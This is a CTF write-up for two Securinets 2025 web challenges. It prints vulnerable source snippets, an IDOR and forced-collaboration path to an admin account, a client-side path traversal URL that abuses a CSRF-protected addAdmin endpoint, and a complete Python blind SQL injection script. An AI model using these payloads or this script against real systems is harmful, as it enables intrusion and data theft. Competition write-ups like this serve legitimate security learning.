DJumanto Sec Blog

Securinets 2025

Word count: 2.3kReading time: 14 min
2025/12/11
loading

🖊️Author: DJumanto
🛡️Team: ITSEC Asia
📖Note: This Writeup contains solver for Web Exploitation Challenges


📚 Table of Contents

  1. Summary (TL;DR)
  2. Challenges
  3. References

🔎 Summary (TL;DR)

This writeup contains solver for 2 challenges: S3cret5, and Puzzle.


🧾 Challenges

Puzzle

  • 🤔Difficulity: Easy
  • 🕸️Vulnerability: IDOR, Mass Assignment, Broken Access Control

Description

To be honest this challenge is kinda…. I don’t know what to say, but we will need to exploit broken access control and cracking zip. Some red herring exists to confuse the player.

Approach

IDOR & Mass Assignment

We were given a source code with no placeholder flag, but the web is about making article, where you can collaborate with other user. Also there’s an admin only endpoints. First thing I do is to found out how can i become an admin. The first vulnerability lies in the get_users_details(target_uuid), where a user can access another user information, including their password, but we need editor role to access this part, but this can be achieved but adding role 1 data while registering, below is the code to get a user profile.

routes.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.....Snippet.....

@app.route('/users/<string:target_uuid>')
def get_user_details(target_uuid):
current_uuid = session.get('uuid')
if not current_uuid:
return jsonify({'error': 'Unauthorized'}), 401

current_user = get_user_by_uuid(current_uuid)
if not current_user or current_user['role'] not in ('0', '1'):
return jsonify({'error': 'Invalid user role'}), 403

with sqlite3.connect(DB_FILE) as conn:
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("""
SELECT uuid, username, email, phone_number, role, password
FROM users
WHERE uuid = ?
""", (target_uuid,))
user = c.fetchone()

if not user:
return jsonify({'error': 'User not found'}), 404

return jsonify({
'uuid': user['uuid'],
'username': user['username'],
'email': user['email'],
'phone_number': user['phone_number'],
'role': user['role'],
'password': user['password']
})
.....Snippet.....

Broken Access Control

But we need to know the admin UUID. We can get it in the article page if we add the admin to collaborate and the admin accept it. we can see the collaborator uuid here:

templates/article.html

1
2
3
4
5
6
.....Snippet.....
<span class="d-none author-uuid">{{ article.author_uuid }}</span>
{% if article.collaborator_uuid %}
<span class="d-none collaborator-uuid">{{ article.collaborator_uuid }}</span>
{% endif %}
.....Snippet.....

To do that we need to abuse another endpoint which is handled by accept_collaboration. There’s no validation if the one who accept the collaboration is the user who is being requested

route.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.....Snippet.....

@app.route('/collab/accept/<string:request_uuid>', methods=['POST'])
def accept_collaboration(request_uuid):
if not session.get('uuid'):
return jsonify({'error': 'Unauthorized'}), 401

user = get_user_by_uuid(session['uuid'])
if not user:
return redirect('/login')
if user['role'] == '0':
return jsonify({'error': 'Admins cannot collaborate'}), 403

try:
with sqlite3.connect(DB_FILE) as conn:
conn.row_factory = sqlite3.Row
c = conn.cursor()

c.execute("SELECT * FROM collab_requests WHERE uuid = ?", (request_uuid,))
request = c.fetchone()

if not request:
return jsonify({'error': 'Request not found'}), 404

c.execute("""
INSERT INTO articles (uuid, title, content, author_uuid, collaborator_uuid)
VALUES (?, ?, ?, ?, ?)
""", (request['article_uuid'], request['title'], request['content'],
request['from_uuid'], request['to_uuid']))

c.execute("UPDATE collab_requests SET status = 'accepted' WHERE uuid = ?", (request_uuid,))
conn.commit()

return jsonify({'message': 'Collaboration accepted'})
except Exception as e:
return jsonify({'error': str(e)}), 500
.....Snippet.....

Below is our flow on how we able to access admin account:

  1. Make an article as a user, ask the admin to collaborate
    image
  2. Force the admin to collaborate
    image
    image
  3. Get the admin uuid in the article page
    image
  4. See the admin profile
    image
  5. Login as admin
    image

Now… how do we got the flag? the black magic starts here. In the source code, an admin capable of listing and read files in /data and /db, also banning user which has SSTI vulnerability but i won’t cover that part since it’s a red herring. Yet in the source code they gave to us, there’s nothing neither in /data nor /db which actually there’re something there in the remote 😀. Accessing /data will serve us with two files:
image

secrets.zip is locked, we need the password, where do we find it? in the web? no… it’s on the dbconnect.exe 😀. Run strings grep will give us the password:
image
use it to get the unlock the zip, then we get the flag:
Securinets{777_P13c3_1T_Up_T0G3Th3R}

S3cret5 (upsolve)

  • 🤔Difficulity: Easy
  • 🕸️Vulnerability: Client Side Path Traversal, Blind SQL Injection

Description

This chall target is how we can get the admin user and exploit blind sql injection. My fault here is not paying attention on how the id parameter being handled in the client, Instead I was focusing on how can i retrieve the csrf-token for the admin to escalate my user.

Approach

Looking at where the flag is placed at, our target is to exploit the sql injection vulnerability on user messages functionality which needs admin privilege user to access.

init.sql

1
2
3
4
.....Snippet.....
INSERT INTO flags (flag)
VALUES ('Securinets{fake}');
.....Snippet.....

And the SQL Injection vulnerability lies here in the filterby helper function

helpers/filterHelper.js

1
2
3
4
5
6
7
8
9
10
11
12
.....Snippet.....
function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
if (!filterBy || !keyword) {
return { clause: "", params: [] };
}

const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
const params = [`%${keyword}%`];

return { clause, params };
}
.....Snippet.....

clearly there’s no sanitation there, so we might be able to injection SQL command there. The helper function is used by msg model

models/msg.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.....Snippet.....
findAll: async (filterField = null, keyword = null) => {
const { clause, params } = filterHelper("msgs", filterField, keyword);

const query = `
SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
FROM msgs
INNER JOIN users ON msgs.userId = users.id
${clause || ""}
ORDER BY msgs.createdAt DESC
`;


const res = await db.query(query, params || []);
return res.rows;
},
.....Snippet.....

which being called by showMsgs handler that can only be accessed by admin

controllers/adminController.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.....Snippet.....
exports.showMsgs = async (req, res) => {
if (req.user.role !== "admin") {
return res.status(403).send("Access denied");
}

const { filterBy: filterField, keyword } = req.body;

try {
const rows = await Msg.findAll(filterField, keyword);

res.render("admin-msgs", {
msgs: rows,
filterBy: filterField,
keyword,
csrfToken: req.csrfToken(),
});
} catch (err) {
res.status(400).send("Bad request");
}
};
.....Snippet.....

Client Side Path Traversal

Let’s focus on how we can achieve admin user. First, There’s a report functionality there in routes/report.js. Second, the app POST methods were protected by CSRF Token, to make a post request, we will need _csrf cookie and CSRF-Token header in the request, so serving form page to force the victim to make a POST request without knowing the token would means nothing.

The app has addAdmin functionality, which allow the admin to make a user an admin but we need to be admin to do this:

views/profile.ejs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.....Snippet.....
const promoteBtn = document.getElementById("promoteBtn");
const promoteMessage = document.getElementById("promoteMessage");
if (promoteBtn) {
promoteBtn.addEventListener("click", async () => {
try {
const res = await fetch("/admin/addAdmin", {
method: "POST",
headers: {
"Content-Type": "application/json",
"CSRF-Token": csrfToken
},
credentials: "include",
body: JSON.stringify({ userId: "<%= user.id %>" })
});
const json = await res.json();
promoteMessage.innerText = res.ok ? json.message : json.error;
} catch (err) {
promoteMessage.innerText = "Error: " + err.message;
}
});
}
.....Snippet.....

which then will be handled by addAdmin function in userController.js:

controllers/userController.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.....Snippet.....
exports.addAdmin = async (req, res) => {
try {
const { userId } = req.body;

if (req.user.role !== "admin") {
return res.status(403).json({ error: "Access denied" });
}

const updatedUser = await User.updateRole(userId, "admin");
res.json({ message: "Role updated", user: updatedUser });
} catch (err) {
console.error(err);
res.status(500).json({ error: "Failed to update role" });
}
};
.....Snippet.....

The vulnerability lies in the profile.ejs, to be precise, in the logging functionality:

_views/profile.ejs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.....Snippet.....
const urlParams = new URLSearchParams(window.location.search);
const profileIds = urlParams.getAll("id");
const profileId = profileIds[profileIds.length - 1];


fetch("/log/"+profileId, {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
userId: "<%= user.id %>",
action: "Visited user profile with id=" + profileId,
_csrf: csrfToken
})
})
.then(res => res.json())
.then(json => console.log("Log created:", json))
.catch(err => console.error("Log error:", err));
.....Snippet.....

the client will automaticly report the action that current user is accessing the profile page for spesific user Id. The problem is, instead of using userId which is generated from server, it use the id defined in the URL, and take the last one. which can be abused if we have 2 id query param:

1
http://host?id=2&id=3

instead of taking id=2, it will use the last one which is id=3. This can be escalated to Client Side Path Traversal in the log functionality since there’s no validation if the id is a number, which instead of number, we can supply id=2&id=../admin/addAdmin then the client will make log request such as:

1
2
3
4
5
6
7
8
9
10
11
12
13
fetch("/log/"+"../admin/addAdmin", {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
userId: 2, //since the first id is "2"
action: "Visited user profile with id=" + profileId,
_csrf: csrfToken
})
})
.then(res => res.json())
.then(json => console.log("Log created:", json))
.catch(err => console.error("Log error:", err));

it also automatically supply the header with a valid CSRF-Token, allow us to exploit the addAdmin and escalate our privilege. Submit to the report page with this url http://localhost:3000/profile?id=2&id=../admin/addAdmin, then Login as the target user, will give us the admin access.

Blind SQL Injection

Our target next is to exploit the SQL Injection i’ve covered above, in short we can make a request that exploit the Error Trigger Boolean Blind SQL Injection the admin show messages functionality with this kind of request:

1
2
3
4
5
6
7
8
csrfToken = get_csrf_token()
payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (SUBSTRING((SELECT flag from flags), {position}, 1)='{char}') THEN 1/(SELECT 0) ELSE 0 END)-- -"

response = client.post("/admin/msgs", json={
"_csrf": csrfToken,
"filterBy": payload,
"keyword": "aaaa"
})

below is my full exploit using binary search to speed up the search.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import httpx

client = httpx.Client()
baseUrl = "http://web1-79e4a3bc.p1.securinets.tn"
client.base_url = baseUrl
session_cookies = {
"_csrf": "[valid_csrf_cookie]",
"token": "[user_token]"
}
client.cookies.update(session_cookies)

def get_csrf_token():
response = client.get("/csrf-token")
if response.status_code == 200:
return response.json().get("csrfToken")
else:
raise Exception("Failed to fetch CSRF token")

def check_char_greater(position, char_code):
csrfToken = get_csrf_token()

payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (ASCII(SUBSTRING((SELECT flag from flags), {position}, 1))>{char_code}) THEN 1/(SELECT 0) ELSE 0 END)-- -"

response = client.post("/admin/msgs", json={
"_csrf": csrfToken,
"filterBy": payload,
"keyword": "aaaa"
})

return response.status_code == 400

def binary_search_char(position):
left, right = 32, 126

while left < right:
mid = (left + right) // 2
if check_char_greater(position, mid):
left = mid + 1
else:
right = mid

return chr(left)

def get_flag_length():
for length in range(1, 100):
csrfToken = get_csrf_token()
payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (LENGTH((SELECT flag from flags))={length}) THEN 1/(SELECT 0) ELSE 0 END)-- -"

response = client.post("/admin/msgs", json={
"_csrf": csrfToken,
"filterBy": payload,
"keyword": "aaaa"
})
if response.status_code == 400:
return length

return -1

def extract_flag():
print("[*] Finding flag length...")
flag_length = get_flag_length()
print(f"[+] Flag length: {flag_length}")

flag = ""
for position in range(1, flag_length + 1):
char = binary_search_char(position)
flag += char
print(f"[+] Position {position}/{flag_length}: {char} -> Current flag: {flag}")

return flag

if __name__ == "__main__":
flag = extract_flag()
print(f"\n[+] Complete flag: {flag}")

Secueinets{239c12b45ff0ff9fbd477bd9e754ed13}

CATALOG
  1. 1. 📚 Table of Contents
  2. 2. 🔎 Summary (TL;DR)
  3. 3. 🧾 Challenges
    1. 3.1. Puzzle
      1. 3.1.1. Description
      2. 3.1.2. Approach
        1. 3.1.2.1. IDOR & Mass Assignment
        2. 3.1.2.2. Broken Access Control
    2. 3.2. S3cret5 (upsolve)
      1. 3.2.1. Description
      2. 3.2.2. Approach
        1. 3.2.2.1. Client Side Path Traversal
        2. 3.2.2.2. Blind SQL Injection